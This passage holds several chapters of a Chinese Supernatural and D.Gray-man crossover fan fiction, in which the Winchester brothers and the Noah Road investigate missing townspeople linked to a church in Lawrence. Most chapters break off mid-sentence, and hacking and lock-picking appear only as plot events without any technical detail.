“很显然，是我们老家的图书馆。”萨姆遗憾地摇头，“这个地区的姓氏发展都隐藏在这些地区历史中——”他拍了拍几乎比他还要高的书摞，这比他在斯坦福考试周的工作量都大，“书呆子”的他都不由发愁，“我们不仅要看，还得把里面涉及到的姓氏家族整理成谱系。” “就没有什么家谱能够直接供应吗？” “在劳伦斯没有。” 兄弟俩交换了个无奈的眼神，开始认命地工作。 厚厚的书里记载着完全不成体系的内容，一页一页翻过去，从白天到黑夜，直到图书馆管理员赶人，日复一日。 罗德看着热闹，并没有想加入他们的意思，甚至连图书馆都懒得踏入。 她是有些好奇，但没有好奇到要亲自上手调查的地步。 她探索着这个新的世界、温彻斯特人的故乡——新的科技、新的文化，那种总是弥漫在空气中的工业味道淡了下去，伦敦那总是雾蒙蒙的天空没有在这里出现。 青绿的草坪覆盖着暖洋洋的土壤，罗德躺在上面，几片树叶交错的斑驳影子点在她身上，纯黑的长裙汲取着阳光，和她白得透亮的皮肤激烈地碰撞着。 这像是一幅摆在艺术厅的油画吸引着人。 很快，罗德便感觉到印照在自己脸蛋上的阳光阴了下来。 她迷迷糊糊地睁开眼睛，首先看到了一支画笔正测量着比例。 “抱歉。” 男孩接触到罗德眼神的瞬间就结巴住了，“我无意惊扰你，只是这一幕——太美了，让我想要记录下来……啊，我是美院的学生，不是什么奇怪的人。” 他说着，还掏出了自己的学生证。 不过，罗德注意到的，却是他脖颈上那个被藤蔓缠绕起来的十字架，阳光反射在金属上有些刺眼。 罗德的表情淡了下来。 “艾迪·威森，我就住在旁边。”男孩局促地指了指不远处的独栋，顺着他的手指不难看到，那个挂着“威森”名牌的右下角，有一个相同的藤蔓十字标，“我没在这附近见过你，新邻居？” “不，只是路过。” 罗德拍拍裙摆上的草屑，站 12.第 12 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 12 迪恩狂炫四个巨无霸套餐，引得周围一众人侧目。 “你是什么饿死鬼托生吗？”萨姆从驱散人群坐到他身边，手指捻着被挤到了他座位上的汉堡纸丢进垃圾桶，“七个汉堡，四个大薯，六杯可乐，四个香肠——迪恩？” 迪恩没有理睬他，用力吸了一口可乐，又清空了一个杯子。二氧化碳从胃里顶出来，让他冲着萨姆的脸打了个长长的嗝。 “迪恩！”萨姆宽摆出了一副名副其实的“bitch脸”，手肘压在桌边，将面前堆满汉堡纸的托盘推得更远。 “你知道，这个身体其实挺有意思的，我现在如果去参加大胃王比赛绝对包赢——免费食物还有钱拿。”迪恩太擅长苦中作乐，连这样严重的身体问题都能被他当作一块笑料，“你们呢，怎么拖了这么长时间。” 萨姆妄图用眼神掐住迪恩，但很快就泄气败下阵来。 他明白迪恩是在劝他放松，“问她。” “我是被搭讪，”罗德的脚悬空在桌下晃荡，“这怪不到我头上吧？” 迪恩眉毛一挑，“被搭讪，哇哦——小学生这个点儿已经在外面游荡了？” “他也不是小学生了，这附近有美院吗？” “有，开车四小时，可不近。”萨姆对城市附近的学校摸排得非常清楚。 “哦——大学男孩？嘿，萨米，你没有亮出你的FBI身份警告他不要对小女生出手吗？”迪恩手指一弹，将汉堡纸团弹向了萨姆的脸。 萨姆眼疾手快，一把格挡，“FBI？那男孩儿就差直接把我的名字叫出来了。” “什么！？” 毕竟是上过通缉令的人，迪恩对此很敏感。 “准确地来说，是一句‘附近的旧民’，就让他直接认出了你们家——这里的社区关系这么紧密吗？”罗德的双手托着下巴，又是调侃又是挖苦，“还是说……天上人间你们都太有名，无人不知，无人不晓——下一步，不会连上帝都要给你们写福音书了吧？” 迪恩和萨姆对视一眼。 这不是他们第一次回来。 上一次来劳伦斯办事的时候，可没有人对他们的身份置喙，甚至连约翰·温彻斯特的老合伙人都没有猜出他们的身份。 一个年轻的大学生显然更不应该联想到温彻斯特一家的老皇历。 “萨姆，我有一种感觉，这件事没有那么简单。”迪恩的敏感神经一下子被挑动了起来，温彻斯特家的运气一向是不能赌的，“我们的工作？” 不论是不是，都有可能涉及他们。 萨姆的眼睛悄悄地扫过迪恩无意识抽动的指头，心里并不觉得有多异常，但他还是故作轻松地一努嘴，赞同道：“值得一查。” “这么快就有了新活儿啊？”罗德只展露了适可而止的兴趣，“手上的工作做完了吗？” 要是没有点进展，萨姆和迪恩也不会在这个日头正好的时候离开图书馆，专门把罗德找来。 “没有什么特别的进展，但是书总算是翻完了——谢天谢地，再让我蹲在那样的大部头里，还不如一枪崩了我。”迪恩抱怨着又拆了一个汉堡，像是要把过去一段时间缺失的能量全部补回来一样，一边嚼一边含糊不清地说着话，“只是发现，‘温彻斯特’不是个本地姓氏，至少不在劳伦斯——也许爸爸和妈妈是私奔来的。” 所以约翰·温彻斯特口中才从来都没有任何亲人的信息。 “有一点线索指向黎巴嫩——堪萨斯的那个，那会是我们的下一站。”萨姆跳过了整理姓氏来源的一大段复杂过程，以及用一点违法手段获取的、过去的约翰·温彻斯特的枪支和车险的实名购买记录。 再上溯一点父亲的父亲的历史，他们手里约翰·温彻斯特的日记本上，有属于他们爷爷的名字缩写。 果然还是违法的手段最好用，“妈妈的婚前姓也收获不大，黑进社保局能查到形式妈妈在温彻斯特之前是坎贝尔。一样，那不是本地姓氏，书里什么也没有。” 甚至不如能够追溯到亨利这个爷爷、以及黎巴嫩这个地点的“温彻斯特”，坎贝尔似乎更加神秘。 “咔！” 罗德的手不可抑制地用力，木质的桌面顿时沿着她的指尖，显现出清晰的裂痕。 她调笑的表情瞬息凝固，眼睛紧盯着萨姆，“重复一次。” “什么？” “那个姓氏，你刚才说的。” “额……坎贝尔。” “拼出来。” “—— Campbell？” “……也许温彻斯特不是关键，重要的是你母亲的家族来源。”罗德闭眼，很快将表情缓和下来，松开了几乎要捏碎木桌的手，轻轻吹走了指尖的木屑，“坎贝尔，没想到这个姓氏还留存在了这片土地上。” 涉及到自己的母亲，兄弟俩在惊异中，却也有些微妙的期待。 那距离他们太遥远了，又在他们的希望中存在太深刻了。 二人对视一眼，急不可待地就追问了下去。 罗德眼睛一垂，陷入回忆。 “我有和你们提起过吗，诺亚是不能单独存在的，我们不断地随着人类的规律转生，在自己新的肉｜体中觉醒。” 从某种意义上来说，罗德自己和“梦之诺亚”之间，都存在着一定的区别。 她既是自己，又是诺亚。 只是时间久了，对她来说，这种区别便不再重要。 “就像是……恶魔？他们的行走也需要肉身承载。”萨姆很快就对标理解了她的意思，“只是对身体需求的表现不同。” “这么理解也没错。”罗德认同。 恶魔抢占，天使问询，诺亚转生。 本质来说，他们都是在寻求一个能够稳定在人间行走的躯壳。 迪恩紧接着便跟上了一句，“所以，坎贝尔是你们诺亚的内部姓氏？” “可如果按照这个逻辑，恶魔附身过的身体重归自己的生活，难道还会保有恶魔的血脉？” 萨姆皱眉，这个信息对于需要长期和恶魔斗争的猎人们来说太重要了。 “通常来说不会，不论是诺亚还是恶魔，影响力都没有深远到这个地步。” □□的承载能力一定程度上跟随着□□的血脉传承。 这种传承并不绝对，恶魔的附身更加随机，诺亚的转生标准更有不同，但天使对适格肉|身的选择却总是在家族内部流传，他们对喜欢的血脉有偏好。 只不过，温彻斯特兄弟此时对天使尚且没有那么清晰的认知。 罗德顿了顿继续说道，“不过也是有特例的——恶魔如果利用人身生育是一种极端特例。而我们诺亚之中，也只有千年公有这种特殊影响力。他是……不同的，他的力量不会被普通的血液、血脉所阻挡。一旦他降临在某个血脉中，就会直接从根本上改变这种血脉的DNA结构，让它们脱离一般意义上的自然科学。”* “什么意思，我们是什么变种人*吗？”迪恩不无玩笑地说道。 13.第 13 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 13 去往黎巴嫩的计划暂时搁置了下来。 温彻斯特兄弟俩不会放任劳伦斯的异常视而不见，这里是他们的家乡，哪怕不考虑猎人的身份和责任，这里也是特殊的。 既然已经有人认出了温彻斯特的身份，他们自然不能再从铁盒里翻个□□出来肆意张扬。 上次再离家乡后发生了许多事，让迪恩和萨姆感觉仿佛已经离开了一生。但实际算下来，过去的时间却并不算长。 可就是这不长的时间，带来的微妙又极端的变化。 “……好的，谢谢你的合作。”萨姆结束通话，放下了手机，“所以——没有报警记录，也没有可以查到的交通记录，飞机、火车还有汽车，也没有雇佣搬家车辆的记录，至少能查到的都没有。珍妮一家就是……走了。” 这有点奇怪。 一个有两个孩子的家庭要搬走，可不是个小工程，如果没有理由，也不必用隐秘的手段隔绝一切痕迹。 更何况，珍妮是个普通人，她根本不知道要如何像一个猎人一样隐藏踪迹。 萨姆更倾向于，有什么事落在了她头上。 “萨米，看那里。”迪恩的Impala在教堂前的马路上停下，视线隔着一片灌木树丛穿过其大门上翻新的十字架。 和许多门牌上或挂着、或绘制的教堂标志不同，十字架外绿色的藤蔓层层缠绕，紧得仿佛是束缚一般。 温彻斯特兄弟没有到教堂礼拜的习惯，但这个十字架已经不需要有任何经验便能判断异常。 这可是镇子上最大、最重要的教堂了。 迪恩还能隐约想起一些颠沛流离的生活开始之前，被带入这个教堂的模糊经历。 “进去看看？”萨姆问。 “不着急。”迪恩没有解开安全带，而是换挡起步，离开了教堂。 教堂可不长腿，不会溜走的。 可有些线索却不能耽搁。 他们需要去温彻斯特家的老房子。 犹记得上一次，搬入这栋房子里的单亲妈妈珍妮才刚刚安定下来——她自己说的，要在这里扎根，开启一段新生活。 这才没过多久，对方怎么会毫无理由地搬走呢？ 她带着两个孩子，大女儿萨莉还在学期中，小儿子里奇又才三四岁的样子，又没有请搬家公司——离开绝非易事。 事出反常必有妖。 兄弟二人还是老规矩，一个望风一个撬锁，神不知鬼不觉地偷溜了进去。 房内的布置和上次收拾得没有多大差别——上次和恶作剧鬼大闹之后，兄弟俩亲自收拾过房子，印象自然也深刻——甚至桌面上都没有沉积太多的灰尘。 小孩儿的玩具散在软垫上，还没洗的碗筷堆在水槽里，厕所的灯甚至都还亮着，没有被关掉。 萨姆打开冰箱，一阵酸臭的味道扑面而来——里面没有吃完的剩菜似乎已经变质，一些开封了的牛奶和果汁浑浊结块，显然已经腐坏。 迪恩从楼上下来，闻到了这股被冰箱释放的难闻气味，皱着鼻子问，“有什么发现？” “显然，这不像是搬家，反而像是匆忙离开的。”萨姆合上了气味的来源，冰箱上的安全扣还松垮地耷拉在旁边。 “楼上也是，床铺很乱，化妆品也都在梳妆台上，衣柜也是满的。还有这个，”迪恩扬了扬手上的钱包，里面放着驾驶证、信用卡还有不少现金，“萨姆，如果我要离开这里，我至少会带上钱——这里有超过六百美元。我记得上次来的时候，珍妮的日子就很拮据。” 一个生活拮据的人，不会轻易把钱丢在身外。 “还有驾驶证……你在外面看到车了吗？” “不。”迪恩已经观察过，“驾驶证在我手上，她自己可能没有开车，所以——” “如果不是偷盗，那就是有人把她的车开走了，想要营造出她离开了的假象。”萨姆接话。 但车这种东西是不会凭空消失的，哪怕拉去废车场也总会有痕迹。 “还有这个，过来看看。”迪恩径直走向厨房，挪开橱柜，露出其后的洞口。 这是他们上次处理恶作剧鬼时留下的巫术袋，独栋三层，每层的东南西北都在墙内放置了这个以净化保护。 即使那次便已经确认恶作剧鬼的消失，但他们的房子因为恶魔踏过的脚步而吸引邪恶，所以巫术袋作为保护，被留在了墙内。 萨姆探头，就见迪恩拿出的巫术袋隐隐有些发焦，还带出了一些难闻的味道。 迪恩把袋子打开，里面装着的十字路口土像是被灼烧过一样，从土质变成了灰质。 “嘿，迪恩！我在想……” “嗯哼？” “密苏里，”那个和他们有过交集的灵媒突然浮现在萨姆的脑海里，“她就住在镇子上，你认为她会知道什么吗？” “很有可能，她说她总是在咱们家附近留个心，而且她还是个灵媒。” 迪恩和萨姆交换了一个心领神会的眼神。 “我去查车。”迪恩说。 “我去拜访密苏里。” 兄弟俩的分工一向默契又高效。 迪恩对车辆的流动很熟悉，而密苏里又显然偏爱萨姆几分。 他们的调查会很快有进展。 萨姆拒绝了迪恩的车，打算自己到镇子里去。看着Impala完全消失在视线里，他长舒一口气，突然开口，“我说了，不要再来找我。” 他像是对着空气说话，但声音内容却很快得到了回复。 “你不会认为这就已经结束了吧，萨姆——”一个黑发女人从藏匿的楼后走了出来，眼神飘忽地左右巡视，像是在警惕什么，“莉莉丝正在寻找你们，整个地狱都在寻找你们！” “我知道。”萨姆严肃着脸，他很难描述自己的心情——他究竟希不希望恶魔找到他们，他自己都没有答案。 他应该利用恶魔的心思来帮迪恩恢复人身吗？ 他应该利用一切可以利用的东西吗？ 萨姆没有答案，“我知道他们不会放弃的，露比。” “当然你知道，”露比翻了个白眼，“那你打算什么都不做，等着他们找到你们，然后让一切再发生一次？” “不！迪恩不会去地狱。”只有这一点是绝对肯定的，萨姆咬着牙，“再也不会了。” 露比冷笑了一声，这已经不是她第一次听到这类话了，“多么远 14.第 14 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 14 密苏里的电话一路上都打不通，只是不断地转入语音留言。 这挑动着萨姆的神经，让他紧张了起来。 果不其然，密苏里家大门紧锁，通灵店的门上挂着歇业的牌子，牌子上还积了层薄薄的灰，看上去已经挂在这里有些日子了。 密苏里也出门了？ 就这么巧吗？ 温彻斯特的家族记忆里，就从来没有巧合这一说。 他左右观察了一下环境，院子里的车位空空如也，和珍妮家的情况相似。他把情况同步给迪恩，接着便趁没人注意，用曲别针迅速撬开了门锁。 一切都和上一次相同，玛瑙串成的珠帘、雕刻着神秘符号的门框、有点吉普赛风格的沙发，还有从唐人街买来的茶具。 一切如旧。 只是，看上去和门口的牌子一样，有些日子没用过了。 萨姆蹲在桌前，看着茶?干涸在杯壁上，打开茶壶盖，里面泡开的茶叶也重新变成了干茶。 密苏里在这里招待了访客。 三个茶杯，说明至少有两位客人；没有来得及收拾，说明意外就是在这之中发生的；房间内没有打斗的痕迹，说明密苏里没有反抗，她是自己离开的。 如果不是相当要紧的事让她连茶具都没有来得及收拾，就是有什么人用了一些让她失去反抗能力的手段，以至于她“温顺”离开。 那最后拜访他的人就很耐人寻味了。 即使不是凶手，也很有可能知道些线索。 萨姆扭头，看到座机上亮着个红点，有一条没有被听到的留言。 他将其按开。 “密苏里……你需要赶——滋滋——离开，他们……发现了——！你一个……滋……对付不了，联系……滋滋……帮助，我先躲……滋滋，神父——” 是珍妮的声音。 萨姆一下子就听了出来。 他皱着眉，重新播放了一次录音，细细地听着。 珍妮的电话显然被某些东西干扰了——能够干扰电话声音的东西…… 萨姆脑子里浮现出来的第一个要素，是鬼魂——特殊的磁场会影响信号。但EMF（电磁干扰）在珍妮家并没有检测到异常。 抛开超自然力量的影响，回归现实——难道是……窃听器。 萨姆知道窃听器会产生这种效果。 当然，这些结论并不绝对，信号、手机等一些客观因素也造成巧合。 但……巧合？ 他暗自摇了摇头，在被干扰的模糊言语中，提取出了珍妮所表达的要点。 首先，不论是珍妮还是密苏里，都察觉到了某种异常。她们应该有一些应对方案，只是显然，方案并不成功，她们都遇到了危险，甚至包括珍妮的两个孩子；其次，连珍妮都意识到了，这不密苏里一个人能够对付得了的，她的语气很急、声音却压得很低，说明危险就在身边；最后便是那个寻求帮助的对象。 如果是普通的事件，珍妮不会选择求助密苏里，而是会留下一系列的报警记录——所以，是超自然事件。 那么她们要求助的人，很有可能就是他们兄弟俩！ 只是没来得及。 密苏里没有来得及联系他们，意外就发生了。 还有珍妮提到的一个神父——干扰让萨姆无法确定神父这个头衔后跟着的名字是什么，但这毫无疑问指向了教堂。 他将电话的所有记录都调了出来，珍妮开始频繁联络密苏里的时间大概在一个月前——那应该就是一切异常的开始。 或者至少，那是珍妮察觉异常的开始。 萨姆接着打开抽屉，在里面找到了访客记录。 密苏里的灵媒工作一向是留底的。 最新的记录被撕掉了——萨姆抚摸着本子边缘的锯齿。 好在密苏里写字一向用力。 他在抽屉里摸了根铅笔出来，轻轻地在后一页的空白上涂抹，印下去的痕迹逐渐清晰了起来。 “布瑞尔·威森和赫斯佩鲁斯·布鲁克。”他拼出了这两个名字，正好对上了那两个客人用的茶杯，“威森……艾迪·威森？” 密苏里的最后一个访客，恰巧和主动搭话罗德的人有相同的姓氏？ 可别告诉他，这又是什么巧合。 温彻斯特人的运气，从来不会遇上这种毫无意义的巧合。 迪恩的电话也恰在此时打进。 他在失踪车辆上的调查非常顺利，甚至不需要出面，只需要一个电话、一台电脑，他很快就在联邦公路管理局的系统里，查到了珍妮车辆的GPS最后出现的位置。 同样，密苏里的车辆也能如法炮制。 结果倒是个让人意外，却又预料之内的位置。 “教堂？都是教堂？”萨姆的惊讶通过信号传到了手机的另外一边，“我不知道教堂还有车辆的寄存服务。” “谁说不是呢。”迪恩发动了车，“你那边结束了吗？碰个头。” 萨姆已经神不知鬼不觉地溜出了密苏里的房子，“我在前面的达美乐等你。” “我大概——20分钟就能过去，你给我点一份超大的肉酱披萨，我要双倍芝士。” “……迪恩。”萨姆无奈地按着眉心，“你有意识到你自己是在暴饮暴食吧。” 虽然这是玩偶的身体，但习惯却是迪恩自己的，他有些担心迪恩回到自己身体后，暴食后的空虚感会长期留在他的身体中，产生不良影响。 但迪恩不为所动，“也许需要两份。” “闭嘴。”萨姆挂断了电话。 “还有，别忘了派，我要樱桃双倍料！” 迪恩赶着最后一秒把话说了出去，笑着放下了手机。 黑色的Impala在路上疾驰，后座上却突然冒出来一个人趴在前座的靠背上，“半天不见就这么开心？” “卧槽！” 耳边突如其来的温热让迪恩的方向盘都差点失控，一手抽动着下意识便想要拔枪出来，“罗德！” “见到我这么激动吗？”罗德的腿飘在后座上，半个身子探到了前面去，手还摸到了方向盘，将车辆拉回了正轨，“又不是第一次见面了。” “你能不能用正常一点的方式上车！？” “例如坐到你腿上？”罗德一挑眉，戏谑几乎要溢出眼眶。 要真是那样，迪恩真能把自己的宝贝车给开到沟里去。 罗德看着他郁闷的表情“咯咯”地笑了起来，“别那么无趣嘛，做人最重要的就是开心啦，你说是不是？” 迪恩绷着脸，实在不想接这话茬。 罗德倒是满不在意，向后一靠便躺在后座上，“我可是收获了不少有趣的消息呢，你真没兴趣？” 迪恩憋着不说话，但穿过后视镜，他几乎是望眼欲穿。 罗德能够摸到的消息，是地狱的消息，迪恩怎么可能不想知道？ 但罗德却继续吊着他，“和阿拉斯泰尔有关哦，真的没兴趣吗？” “……” “和亲爱的小萨米也有关哦，不要是不想知道，我可就不说啦！” 迪恩猛一踩刹车，Impala急停在了空旷的路边，连罗德都被闪了一下，身体撞上了前座。 “喂！你就是这么对待自己宝贝的？”罗德竖眉。 但迪恩 15.第 15 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 15 恶魔之事暂时还理不出头绪，温彻斯特兄弟很被动。不过手头上劳伦斯的“打猎活动”却主动得顺利。 种种迹象都几乎将“我有问题”写在了脑门上。 兄弟俩的线索合在一起，不论是迪恩所找到的GPS痕迹，还是萨姆发现关键词“神父”，都将他们引向了教堂。 只是罗德似乎并不喜欢那个地方，就像她时常表现出的对上帝的微词和不敬一样，她对那里的反感毫不掩饰。 在这方面，迪恩倒是和她很有共鸣。 不过教堂本身，迪恩倒是熟得很。 “我以为我们要从那个‘威森’身上下功夫，他们名字是什么来着？”迪恩很高兴能摆脱那一套劣质可笑的神父装，宽松的夹克无疑能帮他藏下更多武器。 这次兄弟俩难得用自己的本名、本姓。 萨姆无奈地看着迪恩挑选着种类丰富的猎魔工具，“那个大学男孩？艾迪·威森。另一个‘威森’是布瑞尔·威森，拜访密苏里的人之一——他们算是教会家庭。艾迪·威森，他给其他的家庭绘制圣象——免费。” 虽然那张来自于艾迪的名片也是一条路，但那条路的尽头显然也会汇集到教堂钟来，兄弟俩便选择了更直接的方式。 “——至于布瑞尔，一周至少去教堂四次，是本地教会的最大投资人。以及，和他一起拜访密苏里的赫斯佩鲁斯是教堂的神父——是的，赫斯佩鲁斯就是神父，而且还是个相当年轻的神父，和威森一家关系很好，在当地的影响力很大。” 迪恩点头，“哈！就像是神父老大，对吧。” “……也可以这么说吧。他负责管理本地教会的财产、维护和金主的关系，权和财都在他身上——所以，虽然没有名分，但是的，我想他是BOSS。” “你认为他是幕后主使，有问题的那个？”迪恩问。 “很有可能，只有他的权力能对本地区的人口流动如此了解。同样也只有他才能兜底珍妮和密苏里的失踪，再加上珍妮电话当中一闪而过的信息，他的嫌疑很大。”萨姆一边说着，一边在迪恩的示意下，把枪和刀都塞进衣服里，“我从来没想到自己会带这么多武器进教堂——这实在是太不敬了。” 即使知道了上帝和天使的存在，迪恩对他们也没有一丝敬畏之心，反而假笑道：“啊哈哈，非常有趣——萨姆，我们是猎人，你打算用祈祷来猎杀吗？别抱怨，把这个也带上。”他说着从后备箱夹层里抽出一把刻着符文的蝴蝶刀。 萨姆看对方一副想要把他武装到牙齿的样子，非常无语地抿嘴，“迪恩，我们是调查，不是去火并！” “你不知道里面会发生什么，事前准备总比事后抱歉要好。”迪恩低着头检查弹夹，没有回应萨姆的眼神，只是喃喃自语，“神父老大可能就在里面……谁知道里面有什么猫腻，说不定密苏里和珍妮一家就在里面呢？那我们就需要战斗，你知道的，把她们救出来。” “怎么救？”萨姆皱眉，“在一个教堂里开枪？迪恩——你知道里面有多少无辜者吗？我们会被通缉到死的。” “那不是问题，我在圣路易斯已经死了，记得吗？因为‘折磨’你的朋友丽贝卡*。”迪恩提起了那个变形怪的案子，“他们不能通缉一个已死之人——也许我需要一个人进去，你知道的，你还‘活着’。” 不知是不是潜意识在作祟，兄弟二人在已故的FBI探员维克多·亨德里克森的报告上*，都是已死的状态，但迪恩却跳过了那个被恶魔围攻的记忆画面。 “绝·不·可·能，你别想一个人干，”萨姆冷着脸拒绝，“我们只是需要一个计划。” “我们有一个计划，叫做‘行动’。”迪恩把枪上膛，插在腰后，他故作轻松地咧开一个笑，“别担心萨米，老大哥保护你。如果有危险，你只需要躲到我身后——技术上来说，我现在不会死，记着吗？这已经让我立于不败之地了，对吧。” “你不能这么折磨你自己，”萨姆一把抓住迪恩的肩膀，“你到底在焦虑什么？” “什么？你在说什么，我很好。好吧，我承认这个软绵绵的身体就像个娘儿们，但是存在的已经存在，用还是很好用的——尤其是在‘打猎’里。”迪恩把后备箱重重地合上，避开了萨姆的眼神。 罗德此时从后窗里探了出来，倒坐在车窗边缘，半个身体压在车顶上。 “早说了吧，‘玩偶’很好用的，”她歪头，看向萨姆，“需要我给你也做一副吗？” 不等萨姆自己开口，迪恩就已经上前一步，用自己的身体挡住了罗德的视线，眼神晦暗不明，“如果你敢……” “‘I’m gonna rip your lungs out（我就把你的肺扯出来）’*——拜托，就算扯出来了，我也是不会死的，这样的狠话真的很小丑诶。”罗德的身体后仰，身体维持着微妙的平衡。 萨姆拉了迪恩一把，两人不再多争辩，径直走向了教堂。 “祝你们好运，绅士们——” 罗德拖长了音调大声说着。 显然，她没有和兄弟俩一起进入教堂的打算。 她讨厌教堂，讨厌一切神圣之地。 她抬头看着那闪耀着阳光的十字架，额头一阵刺痛，虚幻的画面在脑海中闪回—— 火焰、灼烧、切割；纯白的城镇、惊慌的眼睛还有将她包裹起来的茧。 一种如坠深渊的恐惧从她的大脑，蔓延到四肢。 罗德深吸一口气，让记忆在意识中沉淀。 她把自己扔在Impala的后座上，合上了眼，将窗外的教堂和十字架都挡在了玻璃外。 和她暗自激烈的反应对比，温彻斯特兄弟进入教堂便显得如鱼得水。 武器被很好地隐藏在夹克下，迪恩一进教堂门，就有一股少见的神圣与庄重压在他的胸口。 这对他来说，是一种陌生的感觉。 而且陌生得诡异。 他们的视线左右扫过去，却没看到赫斯佩鲁斯和威森们的影子。 奇怪了，今天可是礼拜日，教堂里的人来来往往，那只“虔诚的信徒”和“上帝的使者”竟然没有到场吗？ “有什么能帮助你们的吗？” 还不等迪恩细想什么，迎面就有一位神父走近了他们。 他看上去有些年纪了，但脸上的皱纹却不显苍老，反而给他更添了几分睿智。 连路边一个年轻人都能一眼看出生人，那作为对一个教区最了解的人，神父就算没有发现他们的身份，也一定能清晰地把他二人的面孔划分到“外人”的范畴中来。 或许正因为是生面孔，他才会这么快迎上来。 不知是热情还是警惕。 “我是这里的神父卡万。” “卡万神父，你好。额……我们过去住在这里——家乡。”萨姆在迪恩之前接上了神父的话，他那一双水灵灵的狗狗眼显得相当无害，“我们在考虑搬回这里，所以——” 他给了迪恩一个眼神，后者马上接收到了信号，开口道：“没错，我小时候还来做过礼拜。” 谁知道，那神父只是用带着一点严厉的慈爱视线看着他们 16.第 16 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 16 迪恩和萨姆跟在神父卡万身后，从前厅到后院。 平整的草坪上零星生长着几朵不知名的野花，灌木在几个边缘延长包围着粗壮的树干，绿色映满了人的视线，连四周纯白的石柱和长廊都成了点缀。 最引人注意地——或者说是众星拱卫的，是正前方百米远的一个实木桌。桌上盛放着常规祭品——蜡烛、鲜花、水果，但供奉的东西却很奇怪，只是一个平平无奇、发着嫩芽的木枝。 这个后院几乎比前面整个教堂建筑都要大，让人分不清究竟哪个才是教堂主体。 卡万神父解释道：“这里的扩建得益于威森先生的赞助，他是本地有名的慈善家，为教会的发展做出了极大的贡献。” “哦！威森先生？”这可就是个熟悉的名字了，萨姆故意抛出了一个错误信息，“艾迪·威森先生吗？他可真是年少有为。” “哦，不不——是布瑞尔，布瑞尔·威森先生。他是个非常成功的企业家，他的妻子是本地有名的法官，也是虔诚的信徒。艾迪是他的儿子，那是个年轻热情的小伙子，你们认识他？”卡万神父耐心地给他们解释着，他对本地的家庭似乎非常了解。 萨姆快速地接收着信息，用自己的身体遮挡着迪恩四处打量的视线，“嗯，有过一面之缘。我们有意买回老房子，他说他可以帮助我们。” “哦，是的！艾迪是个热心的孩子。威森夫妇都是很善良的人，但他们的工作也让他们疏于对艾迪的照顾，那孩子几乎是在教会里长大的。他和赫斯佩鲁斯神父的关系最好，而联络、管理本地房产上恰好也在赫斯佩鲁斯神父的责任范围内，”卡万神父仿佛已经把他们当作即将搬回本地的年轻人，“我相信旧居一定能够帮你重拾初心。” “当然，我们希望如此。”迪恩已经摸清了视线所及的区域结构，顺势便接上了神父的话，引导着套话，“既然赫斯佩鲁斯神父对本地房产有了解，我们在想能不能和他聊聊这件事呢？” “非常抱歉，赫斯佩鲁斯神父今天不在教堂。”卡万神父遗憾地说道。 迪恩发出了一点疑问的鼻音，“今天是礼拜日，神父竟然不在吗？” “正因为是礼拜日，赫斯佩鲁斯神父才更需要帮助一些迷茫的居民，”卡万神父的年纪和资历都远高于赫斯佩鲁斯，但他对对方却有异乎寻常的尊敬，“他是本地教会的领导，大家都依靠着他。” 言下之意，便是礼拜这样的常规活动，自然有他这样的普通神父来负责。 萨姆暗暗拉住迪恩的袖口，阻止了他的继续追问。 卡万神父显然有意回护，此刻和对方唱反调并不理智。他巧妙把话头传到了另一个他们更感兴趣的地方，“是这样的神父，我们很愿意搬回去，但我们似乎发现老房子有了新的主人？我们不希望打扰别人的生活。” “你非常善良，我的孩子，”卡万神父露出欣慰的眼神，他似乎也想回避赫斯佩鲁斯的话题，于是便更主动地回答起了眼下的新问题，“但你不需要担心这点，珍妮正在选择一个新的定居地点。” 听到了这个熟悉的名字，迪恩和弟弟迅速交换了一个彼此了然的视线，继续追击，“是吗？但——我听艾迪说，她们才搬来不久？” 他非常聪明地把艾迪·威森搬出来，降低了神父的警惕。 毕竟，搬家并不是一件容易事，当初连恶作剧鬼都没能让她搬走，她又怎么会在好不容易安定的此时离开。 “原谅我，我不能透露更多，我的孩子，我有义务保护她的告解。我只能告诉你，珍妮和他的子女正在经历一段艰难的日子。”卡万神父很有原则，坦荡地跳过了这个话题，“但她确实希望更近地沐浴天父的光泽。所以如果你们需要，赫斯佩鲁斯神父一定愿意为你们提供帮助，让你们更快地在这里安定下来——当然，如果有需要我的地方，也请不要吝啬地让我知道。” 神父很显然知道珍妮的下落，如果找到她，或许能够搞清楚现在扑朔迷离的一切。萨姆便借机发挥起自己的法学背景，主动提道：“神父，我们确实需要一点你的帮助。你知道，房子如果在珍妮女士的名下，我们或许需要和她接触一下，但她似乎不在家？” “她正在用我们教会的一种传统的方式，度过这段艰难的时光。” “就在教会里？那太好了，我们现在可以见到她吗？”迪恩扮演着更加直率的形象，急性子地开口要求。 可神父却摇摇头，“恐怕不行，教会内的告解救赎活动自愿报名，可一经开始，便需要远离外物干扰，虔诚祈祷。” “远离外物干扰”——包括人和任何电子设备。 这还真是个不错的理由。 如此便能轻易地解释一个人的失踪，延长异常被发现的时间。他们又有当地的法官兜底，难怪有恃无恐。 这就堵住了他们接下来的的进一步问询。 要刻意追问吗？ 二人用眼神快速交流，他们得快速做出决策。 却没有想到，卡万神父停下脚步，主动转身开口，“事实上，我正想建议你们也参与其中。” 他看着兄弟二人，发出了诚挚的邀请，“这可以很好地帮助你们走出伤痛和阴霾、破除心中的迷惘，让你们深切地感受到自己和天父的连接。” 一串丝滑小连招，神父加油卖安利。 只是不知他是真心实意还是别有目的。 但迪恩和萨姆无疑都在和彼此的对视中，都看到了一个答案。 “我们对这个项目非常感兴趣。”萨姆认真地点头，回应神父，“可以给我们更细致地介绍一下吗？” 卡万神父热情道：“当然。” * 罗德等在外面，兄弟俩明明带着那样武器进去，却半天都不见教堂内有一点动静。这让她顿时感到一阵失望。 怎么就不在教堂里做点有趣的事呢。 正在百无聊赖间，前座响起了铃声。 罗德爬到前面去，发现那是迪恩的手机，就掉落驾驶座下。她捡起一看，还是个熟人的电话。 她可没有什么边界感，不假思索地接起了电话，“Hi，你所拨打的用户暂时无法监听电话，这里是罗德专线。” 那边鲍比听到女音显然愣了一下，尖锐的语气脱口而出，“迪恩呢？他的手机怎么在你手上。” “正在虔诚地寻求上帝的安慰。” “……？” “猎人的工作——在教堂里，”罗德没有放过这个嘲讽的机会，“看来上帝的庇护也没有那么有效，是吧？” 否则这种猎人活儿就不会落到这里来了。 “……温彻斯特运气。”鲍比暗骂了一句，这两个小子就没有安稳的时候。他咬牙，并不信任罗德，可连日来在古籍中的埋头苦干却找不出专门对付诺亚的方法。 